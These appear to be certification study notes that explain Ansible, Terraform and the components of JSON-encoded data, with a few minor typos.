Ansible is an open-source automation tool used for configuration management application deployment, task automation, and orchestration. Ansible operates over SSH, so there is no need to install an agent on devices. Ansible uses YAML (serializatoin language) for writing playbooks, which define tasks and configurations to be executed on remote systems. Ansible itself interprets the YAML playbook and executes task using modules and plugins. YAML itself does not contain executable code, its structured nature and readability make it a versatile choice for defining configurations, workflows, and data representations that can be interpreted and acted upon by other software systems or automation tools. Ansible is idempotent so if the system is already in the desired state, running the playbook again will not cause any changes. It is extensible so modules can be custom-written to support various tasks and systems.

Terraform is an open-source infrastructure as code (IaC) tool used for defining and provisioning infrastructure across multiple cloud providers.Infrastructure is defined in configuration files using HashiCorp Configuration Language (HCL) or JSON. Terraform builds a dependency graph of resources and manages them accordingly. It supports provisioning resources across various cloud providers like AWS, Azure, Google Cloud, etc. Terraform keeps track of the state of the infrastructure allowing for updates and modifications without downtime.

6.7 Recognize components of JSON-encoded data

- An object in JSON is enclosed in curly braces '' and consists of key-value pairs. Keys must be strings, and values can be any valid JSON data type (string, number, object, array, boolean, null)
- strings will be a sequence of characters enclosed in double quotes '""'
- JSON does not differentiate between integers and floating-point numbers in terms of syntax; it treats all numbers as numeric values.
- booleans are either 'true' or 'false'
- arrays are on ordered collection of values, enclosed in square brackets '[]'. Arrays can contain values of any JSON data type, including other arrays (nested arrays).
- Null represents an empty or null value.
- NOTE: JSON itself is not a programming language and does not have the extensive type system that programming languages do (such as strongly-typed or dynamically-typed systems). Instead, JSON defines a set of data structures and rules for representing data in a way that is both human-readable and machine-parseable. This simplicity and flexibility make JSON widely used for data interchange between systems, especially in web dev and APIs.